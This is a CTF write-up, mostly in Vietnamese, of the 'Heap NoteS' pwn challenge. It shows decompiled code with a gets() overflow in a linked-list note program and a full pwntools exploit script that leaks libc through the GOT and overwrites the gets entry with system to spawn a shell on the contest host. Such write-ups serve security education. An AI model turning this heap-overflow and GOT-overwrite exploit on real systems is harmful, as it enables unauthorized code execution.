pwn - Heap NoteS
November 4, 2025
•
October 24, 2025
•
Medium
Setup
Chúng ta tiến hành setup challenge để lấy libc và loader, cuối cùng sử dụng pwninit để patch binary.
┌──(kali㉿kali)-[/mnt/hgfs/Desktop/cscv preliminary 2025/pwn - heapnotes]
└─$ docker build -t heapnotes .
[+] Building 35.0s (15/15) FINISHED
┌──(kali㉿kali)-[/mnt/hgfs/Desktop/cscv preliminary 2025/pwn - heapnotes]
└─$ docker run -p 1337:1337 --privileged -it heapnotes
: not found┌──(kali㉿kali)-[/mnt/hgfs/Desktop/cscv preliminary 2025/pwn - heapnotes]
└─$ nc 0 1337
1. Create note
2. Read note
3. Write note
4. Exit
> ──(kali㉿kali)-[/mnt/hgfs/Desktop/cscv preliminary 2025/pwn - heapnotes]
└─$ ps aux | grep pwn/
root 119991 0.0 0.0 9296 3868 ? S+ 21:49 0:00 socat TCP-LISTEN:1337,fork,reuseaddr EXEC:/pwn/challenge,su=ctf
root 121556 0.0 0.0 9296 2160 ? S+ 21:52 0:00 socat TCP-LISTEN:1337,fork,reuseaddr EXEC:/pwn/challenge,su=ctf
1001 121557 0.0 0.0 2556 1568 ? S+ 21:52 0:00 /pwn/challenge
kali 121616 0.0 0.0 6544 2304 pts/4 S+ 21:52 0:00 grep --color=auto pwn/
┌──(kali㉿kali)-[/mnt/hgfs/Desktop/cscv preliminary 2025/pwn - heapnotes]
└─$ sudo gdb -p 121557
[sudo] password for kali:
GNU gdb (Debian 16.3-5) 16.3
(gdb) info proc mappings
process 121557
Mapped address spaces:
Start Addr End Addr Size Offset Perms File
0x0000000000400000 0x0000000000401000 0x1000 0x0 r--p /pwn/challenge
0x0000000000401000 0x0000000000402000 0x1000 0x1000 r-xp /pwn/challenge
0x0000000000402000 0x0000000000403000 0x1000 0x2000 r--p /pwn/challenge
0x0000000000403000 0x0000000000404000 0x1000 0x2000 r--p /pwn/challenge
0x0000000000404000 0x0000000000405000 0x1000 0x3000 rw-p /pwn/challenge
0x00007ffaffd87000 0x00007ffaffd8a000 0x3000 0x0 rw-p
0x00007ffaffd8a000 0x00007ffaffdb2000 0x28000 0x0 r--p /usr/lib/x86_64-linux-gnu/libc.so.6
0x00007ffaffdb2000 0x00007ffafff3a000 0x188000 0x28000 r-xp /usr/lib/x86_64-linux-gnu/libc.so.6
0x00007ffafff3a000 0x00007ffafff89000 0x4f000 0x1b0000 r--p /usr/lib/x86_64-linux-gnu/libc.so.6
0x00007ffafff89000 0x00007ffafff8d000 0x4000 0x1fe000 r--p /usr/lib/x86_64-linux-gnu/libc.so.6
0x00007ffafff8d000 0x00007ffafff8f000 0x2000 0x202000 rw-p /usr/lib/x86_64-linux-gnu/libc.so.6
0x00007ffafff8f000 0x00007ffafff9c000 0xd000 0x0 rw-p
0x00007ffafff9e000 0x00007ffafffa0000 0x2000 0x0 rw-p
0x00007ffafffa0000 0x00007ffafffa4000 0x4000 0x0 r--p [vvar]
0x00007ffafffa4000 0x00007ffafffa6000 0x2000 0x0 r--p [vvar_vclock]
0x00007ffafffa6000 0x00007ffafffa8000 0x2000 0x0 r-xp [vdso]
0x00007ffafffa8000 0x00007ffafffa9000 0x1000 0x0 r--p /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x00007ffafffa9000 0x00007ffafffd4000 0x2b000 0x1000 r-xp /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x00007ffafffd4000 0x00007ffafffde000 0xa000 0x2c000 r--p /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x00007ffafffde000 0x00007ffafffe0000 0x2000 0x36000 r--p /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x00007ffafffe0000 0x00007ffafffe2000 0x2000 0x38000 rw-p /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x00007ffe9aadc000 0x00007ffe9aafd000 0x21000 0x0 rw-p [stack]┌──(kali㉿kali)-[/mnt/hgfs/Desktop/cscv preliminary 2025/pwn - heapnotes/challenge]
└─$ docker cp a6d49aa45eb4:/usr/lib/x86_64-linux-gnu/libc.so.6 .
Successfully copied 2.13MB to /mnt/hgfs/Desktop/cscv preliminary 2025/pwn - heapnotes/challenge/.
┌──(kali㉿kali)-[/mnt/hgfs/Desktop/cscv preliminary 2025/pwn - heapnotes/challenge]
└─$ docker cp a6d49aa45eb4:/usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 .
Successfully copied 239kB to /mnt/hgfs/Desktop/cscv preliminary 2025/pwn - heapnotes/challenge/.
┌──(kali㉿kali)-[/mnt/hgfs/Desktop/cscv preliminary 2025/pwn - heapnotes/challenge]
└─$ pwninit --bin challenge
bin: challenge
libc: ./libc.so.6
ld: ./ld-linux-x86-64.so.2
unstripping libc
https://launchpad.net/ubuntu/+archive/primary/+files//libc6-dbg_2.39-0ubuntu8.6_amd64.deb
copying challenge to challenge_patched
running patchelf on challenge_patched
writing solve.py stubSource Code
Note struct
00000000 struct __fixed Note // sizeof=0x30
00000000 {
00000000 int index;
00000004 int padding;
00000008 Note *next;
00000010 char content[32];
00000030 };main()
int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
int choice; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 canary; // [rsp+8h] [rbp-8h]
canary = __readfsqword(0x28u);
setbuf(stdin, 0);
setbuf(stdout, 0);
setbuf(stderr, 0);
while ( 1 )
{
menu();
scanf("%d%*c", &choice);
if ( choice == 4 )
exit(0);
if ( choice > 4 )
{
invalid_choice:
puts("Wrong choice");
}
else
{
switch ( choice )
{
case 3:
write_note();
break;
case 1:
create_note();
break;
case 2:
read_note();
break;
default:
goto invalid_choice;
}
}
}
}menu()
int menu()
{
puts("1. Create note");
puts("2. Read note");
puts("3. Write note");
puts("4. Exit");
return printf("> ");
}create_note()
int create_note()
{
Note *cur_note; // [rsp+0h] [rbp-10h]
Note *next_note; // [rsp+8h] [rbp-8h]
if ( head )
{
for ( cur_note = head; cur_note->next; cur_note = cur_note->next )
;
next_note = (Note *)malloc(48u);
next_note->index = cur_note->index + 1;
next_note->next = 0;
cur_note->next = next_note;
return printf("Note with index %u created\n", next_note->index);
}
else
{
head = (Note *)malloc(48u);
head->index = 0;
head->next = 0;
return puts("Note with index 0 created");
}
}read_note()
unsigned __int64 read_note()
{
int index; // [rsp+Ch] [rbp-14h] BYREF
Note *cur_note; // [rsp+10h] [rbp-10h]
unsigned __int64 canary; // [rsp+18h] [rbp-8h]
canary = __readfsqword(0x28u);
if ( head )
{
index = 0;
printf("Index: ");
scanf("%u%*c", &index);
for ( cur_note = head; cur_note->index != index; cur_note = cur_note->next )
{
if ( !cur_note->next )
return canary - __readfsqword(0x28u);
}
puts(cur_note->content);
}
return canary - __readfsqword(0x28u);
}write_note()
unsigned __int64 write_note()
{
int index; // [rsp+Ch] [rbp-14h] BYREF
Note *cur_note; // [rsp+10h] [rbp-10h]
unsigned __int64 canary; // [rsp+18h] [rbp-8h]
canary = __readfsqword(0x28u);
if ( head )
{
index = 0;
printf("Index: ");
scanf("%u%*c", &index);
for ( cur_note = head; cur_note->index != index; cur_note = cur_note->next )
{
if ( !cur_note->next )
return canary - __readfsqword(0x28u);
}
gets(cur_note->content);
}
return canary - __readfsqword(0x28u);
}Mitigation

Solve
Vì cơ chế quản lý note đang sử dụng đó là linked list. Ta có thể lợi dụng buffer overflow tại gets() trong write_note(), dẫn đến việc ghi và đọc tại địa chỉ bất kỳ.
Mitigation của binary chỉ có Partial RELRO nên chúng ta có thể ghi đè GOT entry để spawn shell. Với PIE được tắt, việc này khá dễ dàng.
Script
#!/usr/bin/env python3
from pwn import *
exe = ELF("challenge_patched")
libc = ELF("./libc.so.6")
ld = ELF("./ld-linux-x86-64.so.2")
context.terminal = ["tilix", "-a", "session-add-right", "-e"]
context.binary = exe
sla = lambda p, d, x: p.sendlineafter(d, x)
sa = lambda p, d, x: p.sendafter(d, x)
sl = lambda p, x: p.sendline(x)
s = lambda p, x: p.send(x)
slan = lambda p, d, n: p.sendlineafter(d, str(n).encode())
san = lambda p, d, n: p.sendafter(d, str(n).encode())
sln = lambda p, n: p.sendline(str(n).encode())
sn = lambda p, n: p.send(str(n).encode())
ru = lambda p, x: p.recvuntil(x)
rl = lambda p: p.recvline()
rc = lambda p, n: p.recv(n)
rr = lambda p, t: p.recvrepeat(timeout=t)
ra = lambda p, t: p.recvall(timeout=t)
ia = lambda p: p.interactive()
gdbscript = '''
set follow-fork-mode parent
set detach-on-fork on
continue
'''
def conn():
if args.LOCAL:
p = process([exe.path])
if args.GDB:
gdb.attach(p, gdbscript=gdbscript)
if args.DEBUG:
context.log_level = 'debug'
return p
else:
host = "pwn2.cscv.vn"
port = 3333
return remote(host, port)
p = conn()
def create():
sla(p, b'>', b'1')
def read(index):
sla(p, b'>', b'2')
slan(p, b'Index:', index)
return ru(p, b'1. ').strip()[:-3]
def write(index, note):
sla(p, b'>', b'3')
slan(p, b'Index:', index)
sl(p, note)
def _exit():
sla(p, b'>', b'4')
# Cấp phát 3 chunk
for i in range(3):
create()
# Để sử dụng sau này
write(0, b'/bin/sh')
# Ta biết 0x401040 nằm tại GOT entry của __stack_chk_fail là không đổi (do là địa chỉ trong binary, PIE không được bật). Ta sẽ overflow từ chunk 1 để ghi đè con trỏ next tại chunk 2 thành GOT entry của __stack_chk_fail là 0x404008. Nghĩa là ta có chunk 3 nằm tại 0x404008, với index biết trước là 0x401040
# [0x404008] __stack_chk_fail@GLIBC_2.4 -> 0x401040 ◂— endbr64
# [0x404010] setbuf@GLIBC_2.2.5 -> 0x7ff56208f750 (setbuf) ◂— endbr64
# [0x404018] printf@GLIBC_2.2.5 -> 0x7ff562060100 (printf) ◂— endbr64
# Tuy nhiên ta muốn chunk 3 nằm tại 0x404008 + 1 = 0x404009, bởi vì khi read_note() để leak địa chỉ printf, null byte ở cuối GOT entry của printf 0x7ff562060100 sẽ khiến puts() dừng ngay. Nên ta sẽ dịch lên 1 byte và đọc 0x7ff5620601, index lúc này là 0x4010 hay thì 0x401040
write(1, b'A' * 8 * 7 + p64(exe.got['__stack_chk_fail'] + 1))
leaked = b'\0' + read(0x4010)
libc.address = u64(leaked.ljust(8, b'\0')) - libc.symbols['printf']
print(f"libc base: {hex(libc.address)}")
# [0x404010] setbuf@GLIBC_2.2.5 -> 0x7f63c148f750 (setbuf) ◂— endbr64
# [0x404018] printf@GLIBC_2.2.5 -> 0x7f63c1460100 (printf) ◂— endbr64
# [0x404020] gets@GLIBC_2.2.5 -> 0x7f63c1487080 (gets) ◂— endbr64
# Bây giờ chúng ta sẽ ghi đè GOT entry của gets thành system, để khi gọi gets(cur_note->content) trong write_note(0) sẽ trở thành system('/bin/sh')
print(f"setbuf: {hex(libc.symbols['setbuf'])}")
print(f"system: {hex(libc.symbols['system'])}")
write(1, b'A' * 8 * 7 + p64(exe.got['setbuf']))
write(libc.symbols['setbuf'] & 0xffffffff, p64(libc.symbols['system']))
# system('/bin/sh')
write(0, b'PWNED!')
ia(p)